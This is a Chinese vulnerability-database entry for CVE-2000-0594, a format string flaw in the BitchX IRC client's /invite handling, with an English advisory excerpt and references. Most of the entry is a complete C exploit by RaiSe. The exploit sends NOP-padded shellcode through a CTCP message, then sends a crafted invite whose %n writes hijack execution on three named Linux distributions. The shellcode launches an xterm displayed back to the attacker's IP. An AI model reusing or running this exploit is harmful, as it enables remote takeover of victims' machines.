BitchX IRC客户端"/INVITE"格式字符串漏洞

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漏洞ID 1105909 漏洞类型 格式化字符串
发布时间 2000-07-05 更新时间 2006-09-05
CVE编号 CVE-2000-0594 CNNVD-ID CNNVD-200007-004
漏洞平台 Linux CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/20060
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-004
|漏洞详情
BitchXIRC客户端不能正确净化不可信格式字符串,远程攻击者可以借助对名称中含特殊格式字符的信道的邀请来导致服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/1436/info

BitchX IRC clients, versions 75 up to and including 1.0c16, are vulnerable to a Denial of Service and possible remote execution of code. By /invite-ing someone to a channel name containing formatting characters (%s, %n, etc) an IRC user can cause the targetted user's BitchX client to seg-fault. This is caused by the fact that bitchx passes the channel name from the invite into the logging function as its format string [which is used directly in a vsprintf], rather than as an argument to the format. This also affects the KILL command. 

/*
 *  BitchX Xploit by RaiSe
 *  Tested with version 1.0c16(+) in:        redhat 6.0 (2.2.16)
 *                                           redhat 7.0 (2.2.16)
 *                                           debian 2.2 (2.2.16)
 *
 *  NetSearch Ezine Staff
 *  http://www.netsearch-ezine.com
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT 6667

int soc_local,snick;
struct sockaddr_in addr_local;
struct hostent *server;
char buf[1024], cmd[512], formatbuf[1024], ip[64], *p;

int irc(char *n,char *s,char *sc);
int format(int v);

static char shellcode[256] =    // by RaiSe
"\xeb\x5b\x5e\x31\xc0\xb0\x02\x31\xdb\xcd\x80\x39\xc3\x75\x47\x31"
"\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b\x31\xc9\xb1\x09"
"\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2"
"\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e"
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36\x8d\x56\x46"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xa0\xff"
"\xff\xff/usr/X11R6/bin/xterm8-ut8-display8";

char nops4[] = "\x90\x90\x90\x90";


// main()
int main(int argc, char *argv[])
{

        if (argc!=5)
        {       
                printf("\nBitchX Xploit by RaiSe\n");
                printf("http://www.netsearch-ezine.com\n");
                printf("\nuse: %s nick irc-server my-ip dist\n",argv[0]);
                printf("\ndist = 1 --> redhat 6.0\n"
                                "dist = 2 --> redhat 7.0\n"
                                "dist = 3 --> debian 2.2\n\n");
                exit(0);
        }

        sprintf(ip,"%s:0K",argv[3]);
        strcat(shellcode,ip);

        printf("\nBitchX Xploit by RaiSe\n");
        printf("http://www.netsearch-ezine.com\n");
        puts("\ndoing it..");

        snick=strlen(argv[1]);
        format(atoi(argv[4]));
        irc (argv[1],argv[2],formatbuf);
        printf("finished\n\n");

        return(0);

} // end main()

// irc()
int irc(char *n,char *s,char *sc)
{

        if ((server = gethostbyname(s)) == 0) 
        {
                printf("error al resolver el host\n");
                exit(0);
        }

        if ((soc_local=socket(AF_INET,SOCK_STREAM,0)) == -1)
        {
                printf("error al crear el socket\n");
                exit(0);
        }

        bzero((char *) &addr_local, sizeof(addr_local));

        addr_local.sin_family = AF_INET;
        addr_local.sin_port = htons(PORT);
        memcpy(&addr_local.sin_addr, server->h_addr, server->h_length);

        if ((connect(soc_local,(struct sockaddr *) &addr_local,sizeof(addr_local)))
                        == -1)
        {
                printf("error al conectar con el servidor\n");
                exit(0);
        }

        p=buf;

        // user
        sprintf(cmd,"user k k k k\n");
        write(soc_local,cmd,strlen(cmd));

        // nick
        sprintf(cmd,"nick rxkfe\n");
        write(soc_local,cmd,strlen(cmd));

        // pong
        while(1)
        {
                read(soc_local,p,1);
                if ((*p=='\n') && (strstr(buf,"PING :")))
                {
                        p = (strstr(buf,"PING :")) + strlen("PING :");
                        sprintf(cmd,"PONG %s",p);
                        write(soc_local,cmd,strlen(cmd));
                        break;
                }
                if (*p=='\n')
                        p=buf;
                p++;
        } 

        // ctcp
        sprintf(cmd,"privmsg %s :\x01%s%s%s%s%s%s\x01\n"
                        ,n,nops4,nops4,nops4,nops4,nops4,shellcode);

        write(soc_local,cmd,strlen(cmd));

        sleep(2);

        // invite
        sprintf(cmd,"invite %s #%s\n",n,sc);
        write(soc_local,cmd,strlen(cmd));

        sleep(2);
        return(0);

} // end irc()

// format()
int format(int v)
{

        if ((v!=1) && (v!=2) && (v!=3))
        {
                printf("\ndist = 1 --> redhat 6.0\n"
                       "dist = 2 --> redhat 7.0\n"
                       "dist = 3 --> debian 2.2\n\n");
                printf("exiting..\n\n");
                exit(0);
        }


if (v==1)
{
int n, nr, a1, nx, nn = 0x150;
char dire[4][8] = { "\x60","\x61","\x62","\x63" };
int a2 = 0x1b5 - 0xdb;
int a3 = 0xff - 0xb5;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 126;
        nr = 0x6;
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 126;
        nr = 0x5;
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 126;
        nr = 0x4;
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 126;
        nr = 0x3;
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 126;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 129;
        nr = 0x5;
        nn = 0x158;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 129;
        nr = 0x4;
        nn = 0x158;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 129;
        nr = 0x3;
        nn = 0x158;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 129;
        nr = 0x2;
        nn = 0x158;
}

a1 = 0x10db - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

if (v==2)
{
int n, nr, a1, nx, nn = 0x138;
char dire[4][8] = { "\xbc","\xbd","\xbe","\xbf" };
int a2 = 0x1b2 - 0xc1;
int a3 = 0xff - 0xb2;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 117;
        nr = 0x6;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 117;
        nr = 0x5;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 117;
        nr = 0x4;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 117;
        nr = 0x3;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 117;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 120;
        nr = 0x5;
        nn = 0x140;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 120;
        nr = 0x4;
        nn = 0x140;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 120;
        nr = 0x3;
        nn = 0x140;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 120;
        nr = 0x2;
        nn = 0x140;
}

a1 = 0x10c1 - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

if (v==3)
{
int n, nr, a1, nx, nn = 0x180;
char dire[4][8] = { "\x80","\x81","\x82","\x83" };
int a2 = 0x1b3 - 0xa4;
int a3 = 0xff - 0xb3;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 144;
        nr = 0x6;
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 144;
        nr = 0x5;
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 144;
        nr = 0x4;
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 144;
        nr = 0x3;
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 144;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 147;
        nr = 0x5;
        nn = 0x188;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 147;
        nr = 0x4;
        nn = 0x188;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 147;
        nr = 0x3;
        nn = 0x188;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 147;
        nr = 0x2;
        nn = 0x188;
        strcpy(dire[0],"\x70");
        strcpy(dire[1],"\x71");
        strcpy(dire[2],"\x72");
        strcpy(dire[3],"\x73");
}

a1 = 0x10a4 - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

return(0);

} // end format()

// 0x00
|参考资料

来源:XF
名称:irc-bitchx-invite-dos
链接:http://xforce.iss.net/static/4897.php
来源:BID
名称:1436
链接:http://www.securityfocus.com/bid/1436
来源:REDHAT
名称:RHSA-2000:042
链接:http://www.redhat.com/support/errata/RHSA-2000-042.html
来源:CALDERA
名称:CSSA-2000-022.0
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2000-022.0.txt
来源:VULN-DEV
名称:20000704BitchX/ignorebug
链接:http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0018.html
来源:FREEBSD
名称:FreeBSD-SA-00:32
链接:http://archives.neohapsis.com/archives/freebsd/2000-07/0042.html
来源:BUGTRAQ
名称:20000707BitchXupdate
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0105.html
来源:BUGTRAQ
名称:20000707CONECTIVALINUXSECURITYANNOUNCEMENT-BitchX
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0098.html
来源:BUGTRAQ
名称:20000704BitchXexploitpossiblywaitingtohappen,certainDoS
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0026.html